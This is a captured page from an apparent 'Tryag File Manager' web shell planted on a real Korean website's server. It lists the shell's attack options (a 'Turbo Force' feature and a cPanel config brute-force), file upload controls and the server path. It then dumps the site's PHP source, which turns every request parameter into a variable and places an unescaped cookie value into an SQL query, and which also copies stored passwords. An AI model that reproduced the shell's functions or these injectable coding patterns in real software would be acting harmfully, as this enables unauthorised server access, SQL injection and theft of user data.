Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
ltms.eemo.co.kr
/
public_html
/
super
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/ltms.eemo.co.kr/public_html/super/ltms_damdang_do.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $arr_rst=array(); $rs=RS("select * from ltms_member where no='$no' "); mysql_query("update ltms_member set is_damdang='1' where no='$no' ") or die(); $query="insert into ltman_member set company_no='{$_COOKIE[ucompany_no]}', id='{$rs[user_id]}', name='{$rs[user_name]}', pass='{$rs[pass]}', tel='{$rs[cel]}', email='{$rs[email]}', addr='{$rs[addr]}', addr2='{$rs[addr2]}', mtype='1', mtype2='1', is_auth='1', chk_ads='1', wetak_company_name='', regdate=now() "; mysql_query($query) or die(mysql_error()); $arr_rst['rst']='1'; echo json_encode($arr_rst); ?>